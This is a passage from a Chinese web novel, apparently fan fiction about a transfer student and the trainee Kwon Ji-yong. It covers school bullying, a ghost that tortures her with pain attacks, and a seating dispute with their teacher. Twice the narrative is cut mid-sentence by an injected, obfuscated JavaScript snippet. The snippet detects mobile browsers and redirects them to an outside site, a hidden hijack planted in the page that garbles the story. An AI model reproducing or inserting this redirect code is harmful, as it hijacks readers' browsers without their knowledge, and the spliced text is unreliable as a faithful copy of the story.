也不是没人试图找她搭话,这里不得不感叹一句她的先见之明,只需要提前摆出一张无知且漂亮的脸孔,就能逼得一众狂蜂浪蝶望而却步。 尽管权至龙与她相处颇多,早早得以窥见她的性格之恶劣……但她长得实在太好看了,所以缺德的样子反而……别具一番风味。被这样一个公认漂亮的人投以专注的目光,个性底层的害羞隐隐作祟,但又很快被青春期男生的虚荣心占据高地。 他说不清自己是什么样的心情,胃里有蝴蝶在煽动翅膀,连带着将他五味杂陈的情绪咕嘟咕嘟烧个滚烫,只好歪歪嘴用手指搓动鼻尖,摆出一副若无其事耍帅的表情对她笑道:“是不是被我帅得移不开眼睛?” 哼哼,小老外,迷不死你。 李艺率:“之前跳舞的时候是有点。” 说着,她又皱起的嫌弃的眉毛:“不要做刚刚那种表情,好恶心,不要。” 甚至学会了用了双重否定来表达讨厌。 权至龙:“…………”再次重申一遍,她的性格是真的很恶劣!! 眼看距离下午上课的时间不早了,权至龙走到洗手池边将之前洗完沥干水分的餐盒收好,帮她装进帆布袋里,嘴里也不忘嘀嘀咕咕地说着话。不同于他在集体中边缘人的形象,他在熟人面前一向健谈——尽管李艺率在心里称其为嘴碎。 “平时不吃饭怎么行啊,不是我说,你看上去有点太瘦了。” “还好吧,上次体检医生说我的指标还算正常。” “真的假的啊,是靠谱医生吗?我感觉你比我们公司的艺人怒那看上去都要瘦一点,她们可是有上镜需求的,你又不当艺人没必要对身材这么苛刻吧……” “……” 李艺率对他的碎嘴子无言以对,这边权至龙仍在絮絮叨叨的挑起她的毛病,“还有你挑食的毛病也太严重了吧,这个不吃那个也讨厌,有时候我都怀疑你是不是味觉有问题或者压根没有食欲这种东西。” 李艺率:“…………” 权至龙:“你不会在家里的时候也不吃饭吧?” 李艺率:“在家的时候有人盯着,会吃的。” 权至龙:“……所以在学校有人帮你就可以不吃了是吧。” 李艺率理直气壮:“帮老大解决麻烦不是身为跟班的义务吗?” “…………”权至龙简直要气笑了,合着真拿他当小弟了啊。他有心反驳,可是看着自己手上整理垃圾袋时麻利的动作,悲哀地意识到自己早已经在短短一周内被调成了合格的仆人形状。末了只能脸色讪讪,嘴里说着泄气的话:“我这不是在关心你嘛。” “哦,我知道。”所以才没有打断你的碎嘴,对此李艺率认为自己的忍耐足够体贴,“我收到你的关心了,谢谢你,我想吃的时候会吃的。” 一句谢谢就把权至龙又哄得眉开眼笑,这让李艺率不得不开始担心起来,这家伙一看就是老年保健品诈骗受害者群体中被骗得最惨的那一位啊,要不等自己快死的时候给他提前买好养老基金吧。 看着权至龙离去时的欢脱背影,李艺率深深地叹了口气。 去年那场车祸带走了她许多东西,消失的食欲和失衡的味觉不过是其中最微不足道的后遗症之一。 * 画纸微微弓起脊背,像等待春雨的土地,笔尖触到纸面,颜色便活了过来——松鼠毛画笔驯服了桀骜的群青,钴蓝在清水中舒展成一片威尼斯天空,镉红在湿润的纸纹里晕染出暮春的杜鹃。颜料与水缠绵交融,在棉浆纸的疆域上拓印出光的形状,赭石与佩恩灰在纸角沉淀成老墙的斑驳,晨雾在靛蓝的山脉间流动,未干的笔触里还晃动着威士忌酒杯般的琥珀光,在预设的轮廓外绽放出意外的水痕。 水彩终会干涸,但水痕永远记得自己曾是溪流——她偶尔也会在刻意包裹的假象中窥见曾经没有烦恼的回忆碎片,但打碎了的东西再也无法复原,逝去的人也同样再无鲜活温度。 “你和那个小子相处得很不错啊,”握着画笔的手被一只骨节分明,失去血色的大手覆盖,耳后传来一阵冰冷的吐息,“这让我都有些嫉妒他了。” 那是一个约莫20岁出头模样的青年,苍白的面孔透着病态的灰,鼻梁高挺笔直,眼窝深陷,黑色的眼珠泛着无机质的、极其妖冶的冷光。 “嫉妒他?”仿佛是听到了什么笑话,李艺率轻嗤一声,冷声道:“具时望,你说什么梦话呢。” “欸~你这样的态度也太让人伤心了吧。”具时望脸上带着轻盈的笑意,语气里满是黏黏糊糊的甜腻,仿佛是爱人间的低语,叫李艺率无端生出反胃。 他将头靠在了李艺率的肩上,双手环住她,身体与她的脊背紧紧贴合,“我可是为了我们艺率付出了一切,包括生命哦~” 冷意直抵骨髓,却感受不到丝毫重量。 死人又怎么会有重量呢? 像是为了惩罚她不合时宜的发言,具时望将她搂得更紧了一些,颈后被点燃一片野火,炽热的痛感蔓延至全身,一年前撞伤的尾椎早已痊愈,可此刻幻痛正像墨汁滴入清水般晕开—— 从脊柱下端向上侵蚀,向下淹没了双腿。 衣物的触感被疼痛中枢解码成钢刷刮擦晒伤的皮肤,每个纤维的摩擦都在延髓里激起涟漪状的回音。视线一片发白,耳边是尖锐的蜂鸣,枕叶燃烧着爆开一团青紫色的火花,神经胶质把痛觉熬成了一锅毒粥。 身体不自觉痉挛抽搐,缩成一团。 她咬紧牙关,死死地捏着画笔,指甲嵌入掌心。 而这一切的始作俑者只是蹲下·身,笑盈盈地望着她:“真可怜,要我抱抱你吗?” 这句儿时重复过无数次的亲昵,如今却成了禁锢她的魔咒。 “滚开。” 李艺率的声音暗哑破碎,舌尖尝到了嘴里的铁腥味。 她抽搐着、像濒死的动物一般、失去尊严地蹒跚爬行,身体与地面的每一次碰撞都翻滚着灼烫。 伸手—— 强忍着肌肉痉挛拉扯筋膜的锯齿感,颤抖着用指尖钩住书包,借由不受控制的身体惯性,将书包拖向自己的身体。 书包重重地砸下,本就对痛觉异常敏感的感官再度发出不堪忍受的哀鸣,但她已经无暇顾及更多,在耗尽最后一丝气力前,她艰难地从疼痛的裂缝中扯出鼻喷雾剂。 像薄荷混合着金属碎屑冲进筛窦,凉意短暂缓解了窒息感,她颤抖着深吸一口气,信号通路被重新激活,视野逐渐恢复清明。 S-型氯/胺/酮通过鼻腔黏膜吸收直接进入血液循环,最快十五分钟内起效,速度堪比静脉注射。用药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068726|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后李艺率身体轻如氢气球,镜面墙如波纹蠕动,清晰地映射出她的狼狈与不堪,沸腾的岩浆退潮为余烬,但神经仍像暴风雨后的电线噼啪作响。 “真是太可怜了。”具时望靠在她身边轻叹,声音中透露着恶毒的悲悯,“每天被这样无休止的疼痛折磨,你最骄傲的东西也被打碎了,一点尊严都没有留下,甚至连身为人最基本的食欲都没办法拥有……我们艺率啊,这样活着真的还算是个人吗?” “…………” 只有最相互了解的人才知道彼此最痛的伤疤,李艺率冷着脸嘴唇泛白,“闭嘴,三男。你家里人不要你了。” “………………” 具时望沉默一瞬,继而又摊开手,仿佛是在看最娇纵的孩子闹脾气,脸上带着熟悉的温和假面,细语轻声地劝解道:“都已经这样了下午的课就别去上了吧,你可不像是怎么爱学习的孩子啊。” 始作俑者摆出一副为她好的模样可真叫人作呕,李艺率翻了个白眼懒得再理他。 “别跟着我到教室里去,很烦。” 直到汹涌的神经终于等到平息,李艺率艰难地起身,抓着书包,缓慢迈开脚步,如同踩着刀尖一般缓慢前行。 “好吧,看在我们艺率刚刚那么可怜的份上,答应你咯~”具时望无辜地耸耸肩,“那放学以后要记得过来接我哦。” 李艺率只是深深地看着那张苍白的脸,垂下眼睑,几不可闻地应了一声,随即关上了活动室的大门。 伴随着她的动作,室内重归寂静,仿佛空气都凝固了一般,里面空无一人。 * 这头的李艺率被疼痛侵扰,另一边权至龙同样身处煎熬。 从礼堂回到教学楼的过程一路畅通,而从教学楼踏进教室不过短短百步的路程却充满了艰辛。 走廊里围了一堆好奇的学生。 他也说不清是因为什么,大概是因为之前录制过YG家族MV的缘故,他的练习生身份非常出名,经常有人在课间休息时围堵他,或是出于好奇,又或是一种刻意的打压,仿佛说上一句“他是练习生啊,长得也不怎么样嘛”就能从其中得到某种比权至龙更高一级的优越感。 十多个身材高大的学生堵在他们班的走廊上,堵住了他的必经之路,好整以暇地看向他。 这是一种想看他出丑的、带着十足恶意的玩笑。 权至龙深吸一口气,恨不得自己生出摩西分割红海的气势。可现实往往比想象中骨感很多,他低着头,尽量缩小自己的存在感,一言不发地躲过了恶意的目光,像是踩在荆棘上一般,从人群的缝隙中艰难穿行。 费了好一番功夫终于到达教室,可眼前还有更棘手的麻烦。 午休前在校门口将他拦下的那群女生早早地在他的座位旁等候多时,来势汹汹。 “哦,来了。”还是那个熟悉的染发学姐看见了他,脸上带着这个年龄段特有的、轻狂骄傲和轻蔑并存的笑容,她扬扬下巴招呼他,“等你很久了。” 权至龙的脚步被黏在原地,明明是相当棘手的情况,可他的脑子里却十分不合时宜的想起了李艺率。 虽然那个小老外性格非常恶劣,时常把他当作仆人并以老大自居,但通过迄今为止的相处,权至龙在她身上却看不到丝毫轻视,不但把活动室分给他练习,还提供丰富的午餐让他得以省下一大笔食品经费。虽说会很自然地指使他,但就算是随手洗一个餐盒都能换来她的一句谢谢辛苦了。甚至在权至龙邀请她一起吃午餐,并提出吃不完剩下的交给他来解决这个提议也被拒绝了,理由是让朋友吃自己的剩饭听起来就像一种另类的霸凌(对此权至龙持保留意见并合理怀疑纯粹是她自己不想吃因此想了一个冠冕堂皇的理由)………… 这么细算起来,她其实人还真的挺好的。 权至龙深吸一口气,对自己不合时宜冒出来的想法十分难以接受。 不是!我怎么在这种情况下还会想起她啊??!!! 5. 他不是麻烦 李艺率回到教室的时候发现气氛有些怪异。 通往教室的走廊上多了几个她不认识的陌生面孔,像是不经意间路过一般,伸长脑袋往教室里望去,带着些状似不经意的、看好戏的目光,丝毫察觉不出演技有多么拙略。 有男生看见她,推搡着同伴,对着她的方向挤眉弄眼。还有些胆大的假装和同伴打闹,只为了在与她擦肩而过时状似无意地撞上她的肩膀,而后低声嬉笑着离开。 但对李艺率来说,这样带着些许试探性轻微的触碰并不亚于一次重击,她的表情猛地一沉,蹙着眉脚步不由自主地加快。 身后男生们仍无知无觉,声音里还带着明显的窃喜:“她刚刚回头看了我一眼……” “C8,真羡慕你……” 早知道下午就烂在活动室里了。 李艺率深吸一口气,本就不美妙的心情在此刻愈加糟糕。 教室里的氛围和平时有着明显的不同,同学们的仿佛被集体摁下了噤声键,像是生怕引起注意一般,连呼吸都放缓了许多,但目光却都仿佛提前约好似的地集中在角落里的一张桌子上。 平日里最后排的那个小团体此时亲密地坐在一起,彼此交换着意味深长的眼神,时不时往风暴的中心撇去一眼,仿佛无声地传递着只有彼此知晓的秘密。 风暴中心,正是距离她的座位仅有一臂之隔的,某个脸上带着淡淡笑意的男孩。 几个陌生的女生围着他叽叽喳喳说些什么,大概是因为靠得太近,态度太过强势的缘故,他的脸上能看出明显的羞涩和局促,却还是一副强装着游刃有余的姿态把一众女生逗得花枝乱颤。 而李艺率目光所及的,属于她的课桌上坐着一个染着头发,化着妆的女孩,看领结的颜色应该是高三的前辈。她斜倚在桌上,校服裙的边缘紧贴着课桌,一只手随意地拨弄着垂落的发丝,嘴角挂着漫不经心的笑意,双腿交叉踩在属于她的椅子上,毫不避讳地占据了属于她的领地。 “欸~已经练习这么久了啊,那你以后会以爱豆的身份出道吗?” “我做爱豆的话未免有点太勉强了吧。”权至龙尴尬地笑了一声,转移视线,“我更想和亲故以hiphop组合的形式出道,现在也在以这个为目标而努力练习。” 准确来说,此时的权至龙还是个不折不扣的hiphop战士,虽然在偶像团体公司当过签约练习生,但从接触嘻哈音乐开始,他的目标一直是以rapper的身份闯荡演艺圈,也不知道究竟是谁传出他是爱豆预备役这种虚假的谣言,害得他经常被好奇的同校生路过,并留下一句“就这?未来的爱豆长得还不如我嘛”诸如此类的评价。 看着平日里那个瘦瘦小小,在人群里没什么存在感的男孩此刻却成为了瞩目的焦点,一改往日不善言辞的形象,端起交际达人的做派,三两句话就把高年级的女生们哄得眉开眼笑,李艺率的舌尖擦过虎牙,心情愈发微妙。 啧。 男人这种生物,果然和狗没什么区别,一旦被关注便会摇尾乞怜。不管是谁都好,只需要勾勾手指头就能让那无处安放的雄性虚荣心得到满足,连带着原本不起眼的模样也变得光鲜起来。 所以说她讨厌狗啊。 而被无辜打上狗标签的权至龙此时也并不像表面上那般云淡风轻游刃有余,他嘴上迎合着女生们的话,眼神却没底气地乱飞,视线不安地停留在那张被踩着的椅子上,心里直打鼓。 完蛋,小老外要是看到了说不定会杀了他,权至龙暗暗叫苦。 “让一下。” 分外清冷的声音响起,让权至龙后颈无端打了个激灵,真是怕什么来什么。 像是打破了某种心照不宣的隐秘氛围,所有人的目光朝着李艺率看去。她拿着书包,脊背挺得笔直,神色平静如沉水,“这是我的座位。” 被点到的女生转过身,上下打量了李艺率一番,这才勾起一个带着mean girl特有的、高姿态意味的笑容:“这是你的位置啊,我稍微借用了一下,你应该不会介意吧?” 话虽如此,但她却丝毫没有要让开的意思,双手环抱胸前,扬起了下巴,还想说些什么,却被李艺率打断了。 “介意。”李艺率的语气冷淡,却说出了在前后辈阶级壁垒分明的环境中最离经叛道的话,“弄脏了,帮我搬一张新的过来。” “…………” 嚯。 空气都凝固了几分。 原本假装自己是空气的同学们纷纷瞪大了眼睛,表情一个赛一个冲击,与周围人交换着震惊的眼色。 权至龙的前桌顶着副瞳孔地震的表情,堪比世界名画呐喊,回头冲他比了个“我的天啊!”,五官灵活夸张地几乎要从脸上飞出去。 权至龙只觉得身上得寒毛都要炸起来了。 他想过这个小老外不懂前后辈规矩,但没想到她会这样直接。这种对年长者随口提要求在她看来似乎是一件极为理所应当的事,但在后辈无条件听从前辈的校园环境中可是大忌啊! 名为徐善雅的为首女生脸色几变,声调也提高了三分,咬牙道:“呀,你这死丫头在说什么大话呢?是想找茬嘛?” 李艺率疑惑:“什么意思?听不懂。” 权至龙:“…………”这种时候还要装老外吗?你这家伙真别太离谱了! “…………” 这样的套路或许对异性无往不利,但在对自身容貌十分在意,具有极强竞争意识的十几岁同性看来,此举无异于火上浇油。 “这是对前辈说话的态度吗?” “给我跪下道歉!” 权至龙闻言赶忙出声试图打圆场:“前辈们……” “为什么要道歉?”李艺率淡淡打断,继而又做出一副恍然大悟的表情,随后像是妥协了一般说到:“哦,如果不想去教务处搬的话,那帮我擦干净也行。” 说着,她打开书包,从里面掏出一块带着高端奢侈品品牌熟悉标志的橙色真丝方巾,递上前去:“我带了手帕,用完直接扔掉就可以。” “………………” 把爱驴士当成一次性抹布来用,你是在跟我玩什么大小姐的游戏吗?C8! 越想越恼火的徐善雅挥手作势要将那块手帕挥开,还是权至龙手快,一把拦下,清脆的巴掌声响起,小臂上留下了鲜红的印子。 权至龙勉强挤出一丝笑容,嘴里还在帮李艺率打圆场:“前辈请别这样,她刚从国外回来,很多事情都不太懂……” 山火般的怒气在眼中燃烧。 徐善雅当然知道眼前这个比电视机里女艺人还漂亮的转校生刚从国外回韩,她今天的举动也不过是因为这位大名人自从转学以后便成了校园内男生们津津乐道的话题,故而自持前辈身份来刷个脸顺便附赠个下马威罢了,这是她一贯擅用的招式,可结果却叫她始料未及。 事情发展到这里,徐善雅闹了个没脸,自然不想善罢甘休,只得色厉内荏地放下狠话:“你这没规矩的丫头,要好好记住今天前辈给你的教训,给我小心一点!” 对此李艺率只是无辜眨眼疑惑:“什么教训?为什么要小心?” 当然是要记住今天的警告,小心我们找你麻烦! 徐善雅在内心无声咆哮。 可剖析狠话,如同解释一个笑话为何好笑,两者同样都会显得自己更加愚蠢。眼看着下午第一节课的铃声即将响起,授课老师拿着教材准备走进教室,徐善雅只得暂时收敛怒气,冷哼一声,丢下一个威胁的眼神径自带着人离开。 随着徐善雅一众女生悻悻离去,教室里的气氛逐渐缓和,大家也终于放大了胆子呼吸,前桌转过头以一种见到勇士的眼神看向李艺率,嘴里仍有赞叹:“呀,艺率xi,你……” 你胆子也太大了吧! 在这个长期被前后辈制度禁锢的校园环境里,李艺率这样“蔑视权威”的举动无疑是会被当作异类的一环,同龄人固然会排斥并下意识敬而远之,但丝毫不影响一些具有反叛精神的青春期少年们觉得此举很酷,并以此为话题悄悄讨论。 当然,远离是肯定的,毕竟谁都不想惹上麻烦。 作为话题中心的李艺率则站在原地,神情似乎还有些苦恼。深知其龟毛做派的权至龙一眼就看出小老外此刻的困扰,舌尖碰上牙齿弹了个舌音,认命地接过手帕帮她擦起课桌椅。 “擦干净了,坐下吧,快上课了。”说着,权至龙将刚刚擦拭过的那一面反折叠好,又递还给她。 李艺率干脆地将手背到身后,摇头拒绝:“不要,帮我扔掉。” “…………”这家伙是真的不知好歹哎!几十万(韩元)的手帕说扔就扔,跟我也要玩这种大小姐游戏吗?! 权至龙无奈叹气,将手帕塞进课桌肚里,目前身为无产阶级的他还做不到这种将钱扔垃圾桶里听个响的奢侈行为,只好暗自盘算带回去洗干净再还给她。 见李艺率将书包放进桌肚,但仍然站在原地,权至龙忍不住抬高声音强调:“我已经擦过了!而且擦得非常干净!” 李艺率:“但我心理上还是接受不了。” 权至龙:“…………”我拜托你真的不要太难搞了! 见英语老师已经放下教材打开多媒体设备准备上课,权至龙无奈叹气妥协,将自己的椅子和李艺率的椅子做了交换,“这样总行了吧?” 李艺率的紧蹙的眉头不仅没松开,眼里的嫌弃好似更明显了。 权至龙:“……给我适可而止一点啊!”都已经算是朋友了,总不至于连我都那么嫌弃吧! 这个念头刚升起,权至龙忽然惊觉,自开学起李艺率对大家的态度都只是平平,似乎只有自己一个人能说得上几句话,占据了“唯一的朋友”这种特殊的位置。这样一个性格恶劣又挑剔难哄的家伙,没有他可怎么办啊? 想到此节,权至龙忍不住将声音放轻许多,低声到:“下节课课间我去教务处给你重新换一张椅子,这节课就先暂时忍耐一下。” 说着他抬头示意讲台上那个将眼神锁定在他们这一圈的身影,“快点坐下,老师在看你了。” 李艺率勉强坐下,这才叫权至龙暗暗松了一口气。 小小的老子心里装满了烦恼,这都叫什么事儿啊!哎! * 这天下午的最后一节课是由班主任负责授课的数学,临近放课的十分钟前,班主任擦掉黑板上的公式板书,让大家自由复习,除了大部分学生拿出课本乖乖写作业,也有些不服管教的飞快收拾好书包掐着点等待放课。 这本该是再平常不过的一天中微不足道的十分钟,直到班主任朴贤泰看见了某位特殊学生的举手。 “艺率xi,举手是有什么事吗?” 对于这名特殊学生,朴贤泰总是格外宽容。这其中当然有她异国生活的背景考虑,但更多则是碍于开学前某位资产丰厚的父亲对学校那笔数字慷慨至极的赞助。 这可是一名上至校董下至教导主任都格外关注的学生啊,朴贤泰自然不敢随意怠慢,他脸上还挂着相当和蔼的笑容,问道:“是有什么题目不明白吗?” “阿尼哟,”李艺率摇摇头,“我只是想问问,在韩国遇到校园霸凌这种事情该怎么处理。” “…………” 闻言朴泰贤一愣,一时竟不知道该如何回答。 这位可是宝贝疙瘩啊,平时上课的时候也很乖巧礼貌,不是那种张扬的性格。虽说日韩校园氛围大多排外,但远远达不到霸凌的程度吧! 说着,他调整表情,正色扫视一圈教室,锐利的目光在班级后排角落里打了个转,毫不意外地看到某几个刺头躲避的神色,又转头柔声道,“是班里有同学欺负你了吗?” 同学们:“…………” 她连高年级的校霸学姐都敢惹,我们谁敢欺负她啊?!班主任拜托你讲点道理好不好! 平时的主要受害者权至龙瞥见李艺率的举动先是一愣,毕竟遭遇校园霸凌这种事,受害者往往都懦弱地保持缄默忍受欺负,哪有像李艺率这样当着全班同学的面直接向老师提出来的?随后听到班主任毫不掩饰的偏心,他又咬牙满心悲愤。 是我呀!拿呀!我才是每天被这家伙压迫的倒霉蛋啊!! 李艺率摇头:“不是我们班的同学,是高年级的学姐。” 朴贤泰眉头微皱:“其他年级的?跑来我们教室吗?” 李艺率:“对。”说着她站起来学着徐善雅的动作坐在课桌上,踩着椅子扭过头面朝朴贤泰做了个恶狠狠的表情:“给我小心一点。” 朴贤泰:“…………” 全班同学:“…………” 倒也没必要还原到这种程度吧! 说完这句狠话,李艺率从课桌上跳下来,指指椅子对权至龙道:“踩脏了,换一下。” 权至龙:“…………” 虽然很无语,但身体动作比脑子反应更诚实地站起身和李艺率换了椅子,也没管什么脏不脏,径直坐下低头捂脸。 班级师生:“………………” 你这种熟练的动作看上去反倒更像那个霸凌者啊喂!没事吧至龙?! 见到此景,朴贤泰忍不住嘴角微抽,随即清咳一声问道:“除了这个行为以外,他们还有对你造成什么伤害吗?” “还需要什么伤害?”李艺率疑惑,“这不是已经给我造成困扰了吗?” “……”这态度未免也太过直接了吧?!朴贤泰深吸一口气,“话虽如此……” 见他似乎还想说什么,李艺率却抢先一步打断:“心理上的伤害也是一种伤害,别看我现在这样平静地和老师说话,其实心里特别害怕。” “…………” 那你倒是装出一点害怕的样子来啊! 算了,钱难赚,工作要紧。 朴贤泰无奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068727|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹气:“高年级的学生为什么跑来我们教室?是之前和你发生过冲突吗?” 李艺率摇头:“不知道,没有。” 朴贤泰:“……” 这叫他该怎么说,总要弄清楚前因才能妥善处理,于是他将目光看向班长。 班长就是在开学第一天对李艺率主动释放善意的善良女生,她看了一眼若无其事的李艺率,又将目光转移到瞬间警觉起来的权至龙身上,犹豫片刻道:“她们是……是来找至龙xi的。” 原来是因为这个。 朴贤泰眉头紧锁,关于权至龙练习生的身份朴贤泰早有耳闻,这也是让学生们产生议论和骚乱的诱因之一,作为一个没什么建树只想管好一亩三分地的普通教师,对此,他本能地感到不喜。 于是连带着语气也跟着严肃了一些:“至龙xi,和那群高年级的学生认识吗?” 被点到名字的权至龙:“…………” 这样类似的情节在他国中时期多有上演,其实本该习以为常。 但身为风暴的中心,权至龙其实有时候心里也会觉得很无辜。 明明对方的态度轻蔑,纷纷把戏弄他这件事放在明面上。同学们也因此时常多有疏远,仿佛他的练习生身份是沾惹麻烦的根源—— 毕竟人总是趋利避害的,谁也不想因多事而遭受前辈苛责,况且他平时遭遇这类情况也总是装作若无其事的样子,大家或许也会误以为作为出道预备役,他其实很享受这样的关注。想到这里,他眼底闪过一丝无奈,但还是十分软弱地在心里为曾经和如今的同学们开脱。 权至龙:“并不认识,今天是第一次见,午休的时候恰巧碰见了,他们听说我是练习生,就擅自跑到教室来找我,我也不清楚他们是从哪知道这些的。” 权至龙的解释让朴贤泰眉头微展,可还是将责任自顾自地安在了他的身上。 毕竟他身上有一个张扬至极的头衔,引起风波也在所难免。 说到底学生的任务就是好好学习,什么爱豆什么练习生,成天幻想些有的没的,总归会影响到其他人。 这么想着,朴贤泰沉吟片刻,又换了一张脸看向李艺率,口吻和气:“艺率xi,不用困扰,这件事情老师会你帮解决的。” 其他同学:“…………” 不是,班主任,你这两面派的作风未免也太明显了一些吧! 被学生眼神吐槽的朴贤泰不为所动,甚至很有些不以为耻,他看向权至龙道:“这样吧,至龙xi,你换个位置。” 毕竟对方的身份确实是个麻烦,规避得了一次总不能次次小心。听说这位宝贝疙瘩曾经还受过很严重的外伤,身体素质不太好,真要有个一点意外他也没办法和学校交代。想到此节,朴贤泰环视了一圈教室,暗自思索要将权至龙这个“麻烦”丢到哪个角落去。 班主任毫不掩饰地偏心态度叫权至龙很有些受伤。 明明他也是被无辜牵连的一员不是吗?仅仅因为一个标签就被打入“另册”,仅仅只是因为“看上去不像是个安分的好学生”这样荒唐的理由就被区别对待……怎么总是叫他碰上这种事。 权至龙深吸一口气,眼眶有些热意泛滥。 其实他应该习惯的,这是他自己选择的路,也是他该预见的苦难。 十几岁,真是黄金一般又一文不值的年纪。 一桩桩琐碎到不值得说出口的矫情小事,深刻地折磨着十几岁年轻的灵魂。 自从确定了想要成为艺人并为之付出全部努力的那一天起,他真切意识到原来自己只是个普通人,他会因为区别对待而愤怒,会因为忽视而沮丧,也会因为大人们一句随口的无心之言失落好长一段时光。 日日追逐的遥远梦想即使努力伸手也无法触及,没有家庭的托举,没有朋友的支持,全靠一腔孤勇努力对抗,要用多长时间,会用多大代价,才能摘得这时间酿造的苦果,就连他自己也无从知晓。 但是为什么会觉得不甘心呢?他悄悄看向李艺率那张平静的侧脸。 大概……大概这是一位难得的,没有用特殊的态度对待他的,还时常让他气得跳脚的,他在这个班里唯一的朋友吧。 啊,原来她也是他在这个格格不入的集体之中,唯一的朋友啊,直到此刻权至龙才恍惚意识到。尽管相处时间不长,他也经常抱着“这是个除了我以外恐怕再没有其他朋友的孤僻家伙”的念头同李艺率交往,但或许连他自己也说不清究竟是李艺率需要他,还是他更需要这份友谊的陪伴了。 即使不再是同桌了,他们之间还会有午休的交集,算了……权至龙这样开解自己,反正平时课间他们也没有许多交流,换个座位或许也能减少她许多的困扰。 这么想着,权至龙整理好情绪,准备动手收拾自己的课本文具。 朴贤泰见权至龙似乎是已经老实的接受了这样的安排,有些满意。正准备开口安排调整座位,却又瞥见李艺率沉着脸一副极不赞同的神情。 他眉心跟着一跳……又怎么了啊大小姐?! 还未来得及出声询问李艺率的意见,就见到那张精致的脸蛋冷若冰霜地紧绷着,嘴角下垂眉心微蹙,看上去极为不悦,甚至连声音都带着些难以忽略地的疏冷:“为什么要换位置?他没有影响到我。” 朴贤泰愣了一下,显然没料到李艺率会如此直接出声反驳,一时之间身为年长者的尊严竟有些无处安放,但终究还是勉强压下不快,“这也是没办法的事情,毕竟至龙xi……”,说到这里,他刻意停顿片刻,未说尽的话显然是想将麻烦的源头指向指向权至龙,“总之,调换位置以后就不会再出现你所担心的这种情况了。” 李艺率:“所以朴老师你的意思是,权至龙xi是个麻烦,对吗?” 朴贤泰:“……也不是,只是至龙xi的情况比较特殊……以后可能还会发生类似的事情对你造成困扰。” “老师nim,你搞错了一件事。” 教室里鸦雀无声,气氛在这样一场师生对峙中变得紧张了起来。学生们看着讲台上神色愈发僵硬的朴贤泰,又不动声色地瞥向五官平静到一丝波澜也无的李艺率,甚至忍不住悄悄绷紧了呼吸。 权至龙在李艺率开口质问的瞬间便有些呆愣。 少年忍不住用目光描摹着她的侧脸轮廓,那视线似带着几分难以言说的渴望与复杂,交织着海水与焰火。 额头,眉眼,鼻梁,脸颊和嘴唇,触之即离,似乎这样就能用眼睛,一点点地、仔细地烙下属于他的印记。 他听见她说:“他不会让我觉得困扰。” 她说:“他不是麻烦。” 明明是再清晰不过的声调和平仄,在权至龙耳边听来却遥远得仿佛从天外而来,带着沉重又不容置疑的力量,瞬间将他的防线击得粉碎。 胃里的蝴蝶又在扑朔着翅膀,晃得他视线一片模糊,连带着心也跟着酸软成了一滩。 6. 区区小权 这件无疾而终的“霸凌事件”最后以班主任朴贤泰私下狠狠警告了班里某些爱挑事的刺头学生而草草了结,伴随着尾声收场的,还有李艺率的一战成名——别看外表柔弱无害,实际上这位可是疯起来连老师都敢顶撞且最后毫发无伤的勇士。 随着新的疯子形象得到充分认知刷新,李艺率的处境也随之产生了微妙的变化,简而言之,这位大小姐现在属于是横着走路——谁都不敢主动招惹的边缘人群体之一。 对于这种微妙的变化李艺率自然是乐见其成,但有句老话说得好——皇帝不急宦官急,某位权姓小伙在得知这个情况后显得分外焦虑。 在权至龙看来,大家对李艺率的误解可太有失偏颇了,李艺率是多可爱的孩子啊!长得漂亮说话好听,性格也……好吧,性格虽然有点恶劣,但她向来很尊重他人,而且非常有礼貌,别看她平时指使他做事的时候一直是副理直气壮的模样,但是每一次都有好好说敬语呢!这对韩语说得磕磕巴巴的小老外来说,已经是很大的进步啦! 是的,在经过上次的那场换座风波以后,权至龙主动地戴上了“有色眼镜”,对李艺率的看法发生了堪称翻天覆地的变化。 如果说之前他对跟班的身份还在心里时常抱怨且愤愤不平,到如今已然是全身心化作了跟班的形状,对李艺率的个人滤镜摞起来几乎比他小小的个子还要高——联想到十六岁的他此时身高堪堪突破165公分,好像就显得其实也不过如此了。 今天的午餐白姨母额外做了点心迷你三明治,一份普通大小的三明治分成四份,夹上满满的蔬菜和火腿,一口一个小巧精致,叠在一起看上去配色十分鲜亮,平时对吃饭这个行为向来敬谢不敏的李艺率也主动拿了一个。 她不是韩国人定义中那种用餐时会刻意发出声音显得吃饭很香的孩子,但看着李艺率嘴里慢吞吞咀嚼食物,神情颇为认真,像是小动物在努力进食一样专注,权至龙还是忍不住将嘴角骄傲地咧向后脑勺—— 看看我们艺率,吃饭多乖啊! “……能不能别用这种,”李艺率花了几分钟终于咽下那口三明治,看见权至龙此时已经放下筷子捧着脸以一种极其微妙的表情看着她,嫌弃地吐槽,“这么慈祥的表情看我,好恶心,不喜欢。” 权至龙:“…………” 虽然现在这样是很可爱没错,但偶尔权至龙也会在心里偷偷地想,如果她是个哑巴就好了。 * 吃完饭例行练习结束后,眼看距离午休结束还早,权至龙坐到捧着漫画书的李艺率身边,和她看同一本漫画,嘴里还絮絮叨叨地嘀咕着,话题自然是上次草草了解的霸凌事件——权至龙对李艺率的行为充分理解并接纳,但这并不妨碍他对此表达自己的担忧。 权至龙:“下次不要这么冲动了,韩国的环境可不是那么你想象中那样简单的,如果发生冲突的话,前辈们可是真的会动手打人的。” 